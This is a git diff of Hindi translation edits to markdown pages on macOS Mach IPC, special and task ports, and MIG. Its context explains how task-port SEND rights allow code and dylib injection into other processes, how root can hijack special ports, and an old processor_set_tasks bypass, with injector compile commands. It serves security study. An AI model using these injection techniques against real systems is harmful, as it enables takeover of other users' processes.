@@ -202,7 +202,7 @@ frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
-frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
+frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
**`mach_msg`** के तर्क प्राप्त करने के लिए रजिस्टरों की जांच करें। ये तर्क हैं (से [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
@@ -241,9 +241,9 @@ x6 = 0x0000000000000000 ;mach_port_name_t (notify)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)
```
-उस प्रकार का `mach_msg_bits_t` उत्तर की अनुमति देने के लिए बहुत सामान्य है।
+उस प्रकार का `mach_msg_bits_t` एक उत्तर की अनुमति देने के लिए बहुत सामान्य है।
-### पोर्टों की गणना करें
+### पोर्ट्स की गणना करें
```bash
lsmp -p
@@ -268,7 +268,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
**नाम** वह डिफ़ॉल्ट नाम है जो पोर्ट को दिया गया है (चेक करें कि यह पहले 3 बाइट्स में कैसे **बढ़ रहा** है)। **`ipc-object`** पोर्ट का **अज्ञात** अद्वितीय **पहचानकर्ता** है।\
-यह भी ध्यान दें कि केवल **`send`** अधिकार वाले पोर्ट इसके **स्वामी की पहचान** कर रहे हैं (पोर्ट नाम + pid)।\
+यह भी ध्यान दें कि केवल **`send`** अधिकार वाले पोर्ट इसके **स्वामी की पहचान कर रहे हैं** (पोर्ट नाम + pid)।\
यह भी ध्यान दें कि **`+`** का उपयोग **एक ही पोर्ट से जुड़े अन्य कार्यों** को इंगित करने के लिए किया गया है।
यह भी संभव है कि [**procesxp**](https://www.newosxbook.com/tools/procexp.html) का उपयोग करके **पंजीकृत सेवा नामों** को देखा जा सके (SIP को `com.apple.system-task-port` की आवश्यकता के कारण अक्षम किया गया है):
@@ -407,34 +407,34 @@ printf("Sent a message\n");
## विशेष पोर्ट
-कुछ विशेष पोर्ट हैं जो **कुछ संवेदनशील क्रियाएँ करने या कुछ संवेदनशील डेटा तक पहुँचने** की अनुमति देते हैं यदि कार्यों के पास उनके ऊपर **SEND** अनुमतियाँ हैं। यह इन पोर्टों को हमलावरों के दृष्टिकोण से बहुत दिलचस्प बनाता है, न केवल क्षमताओं के कारण बल्कि इसलिए भी क्योंकि यह **कार्य के बीच SEND अनुमतियाँ साझा करना** संभव है।
+कुछ विशेष पोर्ट हैं जो **कुछ संवेदनशील क्रियाएँ करने या कुछ संवेदनशील डेटा तक पहुँचने** की अनुमति देते हैं यदि किसी कार्य के पास उनके ऊपर **SEND** अनुमतियाँ हैं। यह इन पोर्टों को हमलावरों के दृष्टिकोण से बहुत दिलचस्प बनाता है, न केवल क्षमताओं के कारण बल्कि इसलिए भी क्योंकि यह **कार्य के बीच SEND अनुमतियाँ साझा करना** संभव है।
### होस्ट विशेष पोर्ट
इन पोर्टों का प्रतिनिधित्व एक संख्या द्वारा किया जाता है।
-**SEND** अधिकार **`host_get_special_port`** को कॉल करके प्राप्त किए जा सकते हैं और **RECEIVE** अधिकार **`host_set_special_port`** को कॉल करके। हालाँकि, दोनों कॉल के लिए **`host_priv`** पोर्ट की आवश्यकता होती है जिसे केवल रूट ही एक्सेस कर सकता है। इसके अलावा, अतीत में रूट **`host_set_special_port`** को कॉल करके मनमाने तरीके से हाइजैक कर सकता था, जिससे उदाहरण के लिए कोड सिग्नेचर को बायपास करना संभव हो गया था, `HOST_KEXTD_PORT` को हाइजैक करके (SIP अब इसे रोकता है)।
+**SEND** अधिकार **`host_get_special_port`** को कॉल करके प्राप्त किए जा सकते हैं और **RECEIVE** अधिकार **`host_set_special_port`** को कॉल करके। हालाँकि, दोनों कॉल के लिए **`host_priv`** पोर्ट की आवश्यकता होती है जिसे केवल रूट ही एक्सेस कर सकता है। इसके अलावा, अतीत में रूट **`host_set_special_port`** को कॉल करके मनमाने तरीके से हाइजैक कर सकता था, जिससे उदाहरण के लिए कोड हस्ताक्षरों को बायपास करने की अनुमति मिलती थी, `HOST_KEXTD_PORT` को हाइजैक करके (SIP अब इसे रोकता है)।
-इनका विभाजन 2 समूहों में किया गया है: **पहले 7 पोर्ट कर्नेल द्वारा स्वामित्व में हैं**, जिसमें 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` और 7 `HOST_MAX_SPECIAL_KERNEL_PORT` है।\
-संख्या **8** से शुरू होने वाले पोर्ट **सिस्टम डेमन्स द्वारा स्वामित्व में हैं** और इन्हें [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) में घोषित किया गया है।
+इनका विभाजन 2 समूहों में किया गया है: **पहले 7 पोर्ट कर्नेल द्वारा स्वामित्व** में हैं, जिसमें 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT` और 7 `HOST_MAX_SPECIAL_KERNEL_PORT` है।\
+संख्या **8** से शुरू होने वाले पोर्ट **सिस्टम डेमन्स द्वारा स्वामित्व** में हैं और इन्हें [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) में घोषित किया गया है।
-- **होस्ट पोर्ट**: यदि किसी प्रक्रिया के पास इस पोर्ट पर **SEND** विशेषाधिकार है, तो वह इसकी रूटीन को कॉल करके **सिस्टम** के बारे में **जानकारी** प्राप्त कर सकती है जैसे:
+- **होस्ट पोर्ट**: यदि किसी प्रक्रिया के पास इस पोर्ट पर **SEND** विशेषाधिकार है, तो वह **सिस्टम** के बारे में **जानकारी** प्राप्त कर सकता है, जैसे:
- `host_processor_info`: प्रोसेसर जानकारी प्राप्त करें
- `host_info`: होस्ट जानकारी प्राप्त करें
- `host_virtual_physical_table_info`: वर्चुअल/फिजिकल पेज टेबल (MACH_VMDEBUG की आवश्यकता है)
- `host_statistics`: होस्ट सांख्यिकी प्राप्त करें
- `mach_memory_info`: कर्नेल मेमोरी लेआउट प्राप्त करें
-- **होस्ट प्रिव पोर्ट**: इस पोर्ट पर **SEND** अधिकार वाली प्रक्रिया **विशेषाधिकार प्राप्त क्रियाएँ** कर सकती है जैसे बूट डेटा दिखाना या कर्नेल एक्सटेंशन लोड करने की कोशिश करना। इस अनुमति को प्राप्त करने के लिए **प्रक्रिया को रूट होना चाहिए**।
+- **होस्ट प्रिव पोर्ट**: इस पोर्ट पर **SEND** अधिकार वाली प्रक्रिया **विशेषाधिकार प्राप्त क्रियाएँ** कर सकती है, जैसे बूट डेटा दिखाना या कर्नेल एक्सटेंशन लोड करने की कोशिश करना। इस अनुमति को प्राप्त करने के लिए **प्रक्रिया को रूट होना चाहिए**।
- इसके अलावा, **`kext_request`** API को कॉल करने के लिए अन्य अधिकारों की आवश्यकता होती है **`com.apple.private.kext*`** जो केवल Apple बाइनरी को दिए जाते हैं।
- अन्य रूटीन जो कॉल किए जा सकते हैं:
- `host_get_boot_info`: `machine_boot_info()` प्राप्त करें
- `host_priv_statistics`: विशेषाधिकार प्राप्त सांख्यिकी प्राप्त करें
-- `vm_allocate_cpm`: सन्निहित भौतिक मेमोरी आवंटित करें
+- `vm_allocate_cpm`: निरंतर भौतिक मेमोरी आवंटित करें
- `host_processors`: होस्ट प्रोसेसर को भेजें अधिकार
- `mach_vm_wire`: मेमोरी को निवासित बनाएं
-- चूंकि **रूट** इस अनुमति को एक्सेस कर सकता है, यह `host_set_[special/exception]_port[s]` को कॉल करके **होस्ट विशेष या अपवाद पोर्ट्स को हाइजैक** कर सकता है।
+- चूंकि **रूट** इस अनुमति को एक्सेस कर सकता है, यह **होस्ट विशेष या अपवाद पोर्ट** को हाइजैक करने के लिए `host_set_[special/exception]_port[s]` को कॉल कर सकता है।
-यह संभव है कि **सभी होस्ट विशेष पोर्ट्स** को चलाकर देखा जा सके:
+यह **सभी होस्ट विशेष पोर्ट** देखने के लिए संभव है:
```bash
procexp all ports | grep "HSP"
```
@@ -459,12 +459,12 @@ world.*/
### कार्य पोर्ट
-शुरुआत में Mach में "प्रक्रियाएँ" नहीं थीं, इसमें "कार्य" थे जो थ्रेड्स के कंटेनर के समान माने जाते थे। जब Mach को BSD के साथ जोड़ा गया, **तो प्रत्येक कार्य को एक BSD प्रक्रिया से संबंधित किया गया**। इसलिए हर BSD प्रक्रिया के पास वह विवरण होता है जिसकी उसे एक प्रक्रिया बनने के लिए आवश्यकता होती है और हर Mach कार्य के पास भी इसके आंतरिक कार्य होते हैं (सिवाय अस्तित्वहीन pid 0 के जो `kernel_task` है)।
+शुरुआत में Mach में "प्रक्रियाएँ" नहीं थीं, बल्कि "कार्य" थे जो थ्रेड्स के कंटेनर के समान माने जाते थे। जब Mach को BSD के साथ जोड़ा गया, **तो प्रत्येक कार्य को एक BSD प्रक्रिया से संबंधित किया गया**। इसलिए हर BSD प्रक्रिया के पास वह विवरण होता है जिसकी उसे एक प्रक्रिया बनने के लिए आवश्यकता होती है और हर Mach कार्य के पास भी इसके आंतरिक कार्य होते हैं (सिवाय अस्तित्वहीन pid 0 के जो `kernel_task` है)।
इससे संबंधित दो बहुत दिलचस्प कार्य हैं:
-- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: निर्दिष्ट `pid` द्वारा संबंधित कार्य के कार्य पोर्ट के लिए एक SEND अधिकार प्राप्त करें और इसे निर्दिष्ट `target_task_port` (जो आमतौर पर वह कॉलर कार्य होता है जिसने `mach_task_self()` का उपयोग किया है, लेकिन यह एक अलग कार्य पर SEND पोर्ट भी हो सकता है) को दें।
-- `pid_for_task(task, &pid)`: एक कार्य को SEND अधिकार दिया गया है, तो यह पता करें कि यह कार्य किस PID से संबंधित है।
+- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: निर्दिष्ट `pid` द्वारा संबंधित कार्य के कार्य पोर्ट के लिए एक SEND अधिकार प्राप्त करें और इसे निर्दिष्ट `target_task_port` (जो आमतौर पर वह कॉलर कार्य होता है जिसने `mach_task_self()` का उपयोग किया है, लेकिन यह एक अलग कार्य पर एक SEND पोर्ट भी हो सकता है) को दें।
+- `pid_for_task(task, &pid)`: एक कार्य को SEND अधिकार दिए जाने पर, यह पता करें कि यह कार्य किस PID से संबंधित है।
कार्य के भीतर क्रियाएँ करने के लिए, कार्य को `mach_task_self()` को कॉल करके अपने लिए एक `SEND` अधिकार की आवश्यकता थी (जो `task_self_trap` (28) का उपयोग करता है)। इस अनुमति के साथ एक कार्य कई क्रियाएँ कर सकता है जैसे:
@@ -479,13 +479,13 @@ world.*/
> [!CAUTION]
> ध्यान दें कि एक **अलग कार्य** के कार्य पोर्ट पर SEND अधिकार के साथ, एक अलग कार्य पर ऐसी क्रियाएँ करना संभव है।
-इसके अलावा, task_port भी **`vm_map`** पोर्ट है जो एक कार्य के भीतर मेमोरी को **पढ़ने और हेरफेर करने** की अनुमति देता है जैसे कि `vm_read()` और `vm_write()`। इसका मतलब यह है कि एक कार्य जिसके पास एक अलग कार्य के task_port पर SEND अधिकार हैं, वह उस कार्य में **कोड इंजेक्ट** करने में सक्षम होगा।
+इसके अलावा, task_port भी **`vm_map`** पोर्ट है जो एक कार्य के भीतर मेमोरी को **पढ़ने और हेरफेर करने** की अनुमति देता है, जैसे कि `vm_read()` और `vm_write()` जैसी कार्यों के साथ। इसका अर्थ यह है कि एक कार्य जिसके पास एक अलग कार्य के task_port पर SEND अधिकार हैं, वह उस कार्य में **कोड इंजेक्ट** करने में सक्षम होगा।
-याद रखें कि क्योंकि **कर्नेल भी एक कार्य है**, यदि कोई व्यक्ति **`kernel_task`** पर **SEND अनुमतियाँ** प्राप्त करने में सफल होता है, तो वह कर्नेल को कुछ भी निष्पादित करने के लिए मजबूर कर सकता है (जेलब्रेक)।
+याद रखें कि क्योंकि **कर्नेल भी एक कार्य है**, यदि कोई **`kernel_task`** पर **SEND अनुमतियाँ** प्राप्त करने में सफल होता है, तो वह कर्नेल को कुछ भी निष्पादित करने के लिए मजबूर कर सकता है (जेलब्रेक)।
-- कॉल करें `mach_task_self()` इस पोर्ट के लिए **नाम प्राप्त करने** के लिए कॉलर कार्य के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** लिया जाता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं।
+- कॉल करें `mach_task_self()` इस पोर्ट के लिए कॉलर कार्य का **नाम प्राप्त करने** के लिए। यह पोर्ट केवल **`exec()`** के माध्यम से **विरासत में** लिया जाता है; `fork()` के साथ बनाए गए नए कार्य को एक नया कार्य पोर्ट मिलता है (एक विशेष मामले के रूप में, एक कार्य को `exec()` के बाद एक suid बाइनरी में भी एक नया कार्य पोर्ट मिलता है)। एक कार्य को उत्पन्न करने और इसके पोर्ट को प्राप्त करने का एकमात्र तरीका ["पोर्ट स्वैप डांस"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) करना है जबकि `fork()` कर रहे हैं।
- ये पोर्ट तक पहुँचने के लिए प्रतिबंध हैं (बाइनरी `AppleMobileFileIntegrity` से `macos_task_policy` से):
-- यदि ऐप के पास **`com.apple.security.get-task-allow` अधिकार** हैं, तो **समान उपयोगकर्ता** के प्रक्रियाएँ कार्य पोर्ट तक पहुँच सकती हैं (आम तौर पर डिबगिंग के लिए Xcode द्वारा जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी।
+- यदि ऐप के पास **`com.apple.security.get-task-allow` अधिकार** हैं, तो **समान उपयोगकर्ता** के प्रक्रियाएँ कार्य पोर्ट तक पहुँच सकती हैं (आम तौर पर Xcode द्वारा डिबगिंग के लिए जोड़ा जाता है)। **नोटरीकरण** प्रक्रिया इसे उत्पादन रिलीज़ में अनुमति नहीं देगी।
- **`com.apple.system-task-ports`** अधिकार वाले ऐप्स किसी भी प्रक्रिया के लिए **कार्य पोर्ट प्राप्त कर सकते हैं**, सिवाय कर्नेल के। पुराने संस्करणों में इसे **`task_for_pid-allow`** कहा जाता था। यह केवल Apple अनुप्रयोगों को दिया जाता है।
- **रूट कार्य पोर्ट्स** तक पहुँच सकता है उन अनुप्रयोगों के **जो** एक **हर्डनड** रनटाइम के साथ संकलित नहीं हैं (और Apple से नहीं हैं)।
@@ -558,7 +558,7 @@ return 0;
{{#endtab}}
{{#endtabs}}
-**पार्श्विक** पिछले प्रोग्राम को संकलित करें और कोड इंजेक्ट करने के लिए **अधिकार** जोड़ें उसी उपयोगकर्ता के साथ (यदि नहीं, तो आपको **sudo** का उपयोग करना होगा)।
+**पिछले प्रोग्राम को संकलित करें** और कोड को उसी उपयोगकर्ता के साथ इंजेक्ट करने के लिए **अधिकार** जोड़ें (यदि नहीं, तो आपको **sudo** का उपयोग करना होगा)।
@@ -774,11 +774,11 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
macOS में **थ्रेड्स** को **Mach** के माध्यम से या **posix `pthread` api** का उपयोग करके हेरफेर किया जा सकता है। पिछले इंजेक्शन में जो थ्रेड हमने उत्पन्न किया, वह Mach api का उपयोग करके उत्पन्न किया गया था, इसलिए **यह posix अनुपालन नहीं है**।
-एक **सरल शेलकोड** को एक कमांड निष्पादित करने के लिए इंजेक्ट करना संभव था क्योंकि इसे **posix** अनुपालन वाले apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **थ्रेड** को भी **posix अनुपालन** होना चाहिए।
+एक **सरल शेलकोड** इंजेक्ट करना संभव था ताकि एक कमांड निष्पादित किया जा सके क्योंकि इसे **posix** अनुपालन वाले apis के साथ काम करने की आवश्यकता नहीं थी, केवल Mach के साथ। **अधिक जटिल इंजेक्शन** के लिए **थ्रेड** को भी **posix अनुपालन** होना चाहिए।
इसलिए, **थ्रेड को सुधारने** के लिए इसे **`pthread_create_from_mach_thread`** को कॉल करना चाहिए जो **एक मान्य pthread बनाएगा**। फिर, यह नया pthread **dlopen** को कॉल कर सकता है ताकि **सिस्टम से एक dylib लोड किया जा सके**, इसलिए विभिन्न क्रियाओं को करने के लिए नए शेलकोड को लिखने के बजाय कस्टम पुस्तकालयों को लोड करना संभव है।
-आप **उदाहरण dylibs** पा सकते हैं (उदाहरण के लिए, वह जो एक लॉग उत्पन्न करता है और फिर आप इसे सुन सकते हैं):
+आप **उदाहरण dylibs** पा सकते हैं (उदाहरण के लिए वह जो एक लॉग उत्पन्न करता है और फिर आप इसे सुन सकते हैं):
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
@@ -1062,36 +1062,36 @@ fprintf(stderr,"Dylib not found\n");
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject
```
-### थ्रेड हाईजैकिंग द्वारा टास्क पोर्ट
+### Thread Hijacking via Task port
-इस तकनीक में प्रक्रिया का एक थ्रेड हाईजैक किया जाता है:
+इस तकनीक में प्रक्रिया के एक थ्रेड को हाईजैक किया जाता है:
{{#ref}}
macos-thread-injection-via-task-port.md
{{#endref}}
-### टास्क पोर्ट इंजेक्शन डिटेक्शन
+### Task Port Injection Detection
जब `task_for_pid` या `thread_create_*` को कॉल किया जाता है, तो यह कर्नेल से स्ट्रक्चर टास्क में एक काउंटर को बढ़ाता है जिसे यूजर मोड से `task_info(task, TASK_EXTMOD_INFO, ...)` कॉल करके एक्सेस किया जा सकता है।
-## अपवाद पोर्ट
+## Exception Ports
-जब एक थ्रेड में कोई अपवाद होता है, तो यह अपवाद थ्रेड के निर्दिष्ट अपवाद पोर्ट पर भेजा जाता है। यदि थ्रेड इसे संभाल नहीं करता है, तो इसे टास्क अपवाद पोर्ट पर भेजा जाता है। यदि टास्क इसे संभाल नहीं करता है, तो इसे होस्ट पोर्ट पर भेजा जाता है जिसे launchd द्वारा प्रबंधित किया जाता है (जहां इसे स्वीकार किया जाएगा)। इसे अपवाद ट्रायेज कहा जाता है।
+जब एक थ्रेड में कोई अपवाद होता है, तो यह अपवाद थ्रेड के निर्दिष्ट अपवाद पोर्ट पर भेजा जाता है। यदि थ्रेड इसे संभाल नहीं पाता है, तो इसे टास्क अपवाद पोर्ट पर भेजा जाता है। यदि टास्क इसे संभाल नहीं पाता है, तो इसे होस्ट पोर्ट पर भेजा जाता है जिसे launchd द्वारा प्रबंधित किया जाता है (जहां इसे स्वीकार किया जाएगा)। इसे अपवाद ट्रायेज कहा जाता है।
-ध्यान दें कि अंत में, यदि इसे सही तरीके से संभाला नहीं गया, तो रिपोर्ट को ReportCrash डेमन द्वारा संभाला जाएगा। हालांकि, एक ही टास्क में दूसरे थ्रेड के लिए अपवाद को प्रबंधित करना संभव है, यही वह है जो क्रैश रिपोर्टिंग टूल जैसे `PLCreashReporter` करता है।
+ध्यान दें कि अंत में, यदि इसे सही तरीके से संभाला नहीं गया, तो रिपोर्ट को ReportCrash डेमन द्वारा संभाला जाएगा। हालाँकि, एक ही टास्क में दूसरे थ्रेड के लिए अपवाद को प्रबंधित करना संभव है, यही वह है जो क्रैश रिपोर्टिंग टूल जैसे `PLCreashReporter` करते हैं।
-## अन्य ऑब्जेक्ट्स
+## Other Objects
-### घड़ी
+### Clock
-कोई भी उपयोगकर्ता घड़ी के बारे में जानकारी प्राप्त कर सकता है, हालांकि समय सेट करने या अन्य सेटिंग्स को संशोधित करने के लिए रूट होना आवश्यक है।
+कोई भी उपयोगकर्ता घड़ी के बारे में जानकारी प्राप्त कर सकता है, हालाँकि समय सेट करने या अन्य सेटिंग्स को संशोधित करने के लिए रूट होना आवश्यक है।
-जानकारी प्राप्त करने के लिए `clock` सबसिस्टम से फ़ंक्शंस को कॉल करना संभव है जैसे: `clock_get_time`, `clock_get_attributtes` या `clock_alarm`\
-मानों को संशोधित करने के लिए `clock_priv` सबसिस्टम का उपयोग किया जा सकता है जैसे `clock_set_time` और `clock_set_attributes` के साथ।
+जानकारी प्राप्त करने के लिए `clock` सबसिस्टम से फ़ंक्शन कॉल करना संभव है जैसे: `clock_get_time`, `clock_get_attributtes` या `clock_alarm`\
+मानों को संशोधित करने के लिए `clock_priv` सबसिस्टम का उपयोग किया जा सकता है जैसे `clock_set_time` और `clock_set_attributes`।
-### प्रोसेसर और प्रोसेसर सेट
+### Processors and Processor Set
-प्रोसेसर एपीआई एकल लॉजिकल प्रोसेसर को नियंत्रित करने की अनुमति देते हैं, फ़ंक्शंस को कॉल करके जैसे `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
+प्रोसेसर एपीआई एकल लॉजिकल प्रोसेसर को नियंत्रित करने की अनुमति देते हैं, फ़ंक्शन कॉल करके जैसे `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
इसके अलावा, **प्रोसेसर सेट** एपीआई कई प्रोसेसर को एक समूह में समूहित करने का एक तरीका प्रदान करते हैं। डिफ़ॉल्ट प्रोसेसर सेट को प्राप्त करने के लिए **`processor_set_default`** को कॉल करना संभव है।\
ये कुछ दिलचस्प एपीआई हैं जो प्रोसेसर सेट के साथ इंटरैक्ट करने के लिए हैं:
@@ -1102,14 +1102,14 @@ macos-thread-injection-via-task-port.md
- `processor_set_stack_usage`
- `processor_set_info`
-जैसा कि [**इस पोस्ट**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) में उल्लेख किया गया है, अतीत में, यह पहले से उल्लेखित सुरक्षा को बायपास करने की अनुमति देता था ताकि अन्य प्रक्रियाओं में टास्क पोर्ट प्राप्त किए जा सकें और उन्हें **`processor_set_tasks`** को कॉल करके नियंत्रित किया जा सके और हर प्रक्रिया पर एक होस्ट पोर्ट प्राप्त किया जा सके।\
-आजकल, उस फ़ंक्शन का उपयोग करने के लिए आपको रूट की आवश्यकता है और यह सुरक्षित है, इसलिए आप केवल असुरक्षित प्रक्रियाओं पर इन पोर्ट्स को प्राप्त कर सकेंगे।
+जैसा कि [**इस पोस्ट**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) में उल्लेख किया गया है, अतीत में, यह पहले उल्लेखित सुरक्षा को बायपास करने की अनुमति देता था ताकि अन्य प्रक्रियाओं में टास्क पोर्ट प्राप्त किए जा सकें और उन्हें **`processor_set_tasks`** को कॉल करके नियंत्रित किया जा सके और हर प्रक्रिया पर एक होस्ट पोर्ट प्राप्त किया जा सके।\
+आजकल, उस फ़ंक्शन का उपयोग करने के लिए आपको रूट की आवश्यकता होती है और यह सुरक्षित है, इसलिए आप केवल अनप्रोटेक्टेड प्रक्रियाओं पर इन पोर्ट्स को प्राप्त कर सकेंगे।
आप इसे आजमा सकते हैं:
-processor_set_tasks कोड
+processor_set_tasks code
````c
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
//gcc ./port_pid.c -o port_pid
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index d733fb60a..d11573791 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -104,7 +104,7 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
-इस उदाहरण में हमने परिभाषाओं में केवल 1 फ़ंक्शन परिभाषित किया है, लेकिन यदि हम अधिक फ़ंक्शन परिभाषित करते, तो वे **`SERVERPREFmyipc_subsystem`** के ऐरे के अंदर होते और पहला फ़ंक्शन ID **500** को सौंपा जाता, दूसरा फ़ंक्शन ID **501** को...
+इस उदाहरण में हमने परिभाषाओं में केवल 1 फ़ंक्शन को परिभाषित किया है, लेकिन यदि हम अधिक फ़ंक्शन परिभाषित करते, तो वे **`SERVERPREFmyipc_subsystem`** के ऐरे के अंदर होते और पहला फ़ंक्शन ID **500** को सौंपा जाता, दूसरा फ़ंक्शन ID **501** को...
यदि फ़ंक्शन से **reply** भेजने की अपेक्षा की जाती, तो फ़ंक्शन `mig_internal kern_return_t __MIG_check__Reply__` भी मौजूद होता।
@@ -138,7 +138,7 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
-if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
+if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
@@ -217,7 +217,7 @@ USERPREFSubtract(port, 40, 2);
### NDR_record
-NDR_record को `libsystem_kernel.dylib` द्वारा निर्यात किया जाता है, और यह एक संरचना है जो MIG को **डेटा को इस तरह से परिवर्तित करने की अनुमति देती है कि यह उस सिस्टम के प्रति अज्ञेय हो** जिस पर इसका उपयोग किया जा रहा है क्योंकि MIG को विभिन्न सिस्टमों के बीच उपयोग करने के लिए सोचा गया था (और केवल एक ही मशीन में नहीं)।
+NDR_record को `libsystem_kernel.dylib` द्वारा निर्यात किया जाता है, और यह एक संरचना है जो MIG को **डेटा को इस तरह से परिवर्तित करने की अनुमति देती है कि यह सिस्टम के प्रति अज्ञेय हो** जिस पर इसका उपयोग किया जा रहा है क्योंकि MIG को विभिन्न सिस्टमों के बीच उपयोग करने के लिए सोचा गया था (और केवल एक ही मशीन में नहीं)।
यह दिलचस्प है क्योंकि यदि `_NDR_record` किसी बाइनरी में एक निर्भरता के रूप में पाया जाता है (`jtool2 -S | grep NDR` या `nm`), तो इसका मतलब है कि बाइनरी एक MIG क्लाइंट या सर्वर है।
@@ -229,9 +229,9 @@ NDR_record को `libsystem_kernel.dylib` द्वारा निर्या
### jtool
-जैसे कि कई बाइनरी अब MACH पोर्ट्स को उजागर करने के लिए MIG का उपयोग करती हैं, यह जानना दिलचस्प है कि **कैसे पहचानें कि MIG का उपयोग किया गया था** और **फंक्शंस जो MIG प्रत्येक संदेश ID के साथ निष्पादित करता है**।
+जैसे कि कई बाइनरी अब MACH पोर्ट्स को उजागर करने के लिए MIG का उपयोग करती हैं, यह जानना दिलचस्प है कि **कैसे पहचानें कि MIG का उपयोग किया गया था** और **प्रत्येक संदेश ID के साथ MIG द्वारा निष्पादित कार्य**।
-[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) एक Mach-O बाइनरी से MIG जानकारी को पार्स कर सकता है, जो संदेश ID को इंगित करता है और निष्पादित करने के लिए फंक्शन की पहचान करता है:
+[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) एक Mach-O बाइनरी से MIG जानकारी को पार्स कर सकता है, जो संदेश ID को इंगित करता है और निष्पादित करने के लिए कार्य की पहचान करता है:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
@@ -250,21 +250,21 @@ jtool2 -d __DATA.__const myipc_server | grep BL
var_10 = arg0;
var_18 = arg1;
// उचित फ़ंक्शन पॉइंटर्स खोजने के लिए प्रारंभिक निर्देश
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
-if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// sign_extend_64 को कॉल करना जो इस फ़ंक्शन की पहचान करने में मदद कर सकता है
// यह rax में उस कॉल का पॉइंटर स्टोर करता है जिसे कॉल करने की आवश्यकता है
-// 0x100004040 (फ़ंक्शनों के पते की सरणी) के पते का उपयोग जांचें
+// 0x100004040 (फ़ंक्शनों के पते की सरणी) के पते का उपयोग करें
// 0x1f4 = 500 (शुरुआती ID)
rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
var_20 = rax;
-// यदि - अन्यथा, यदि वापस false लौटता है, जबकि अन्यथा सही फ़ंक्शन को कॉल करता है और true लौटाता है
+// यदि - अन्यथा, यदि वापस false होता है, जबकि अन्य सही फ़ंक्शन को कॉल करता है और true लौटाता है
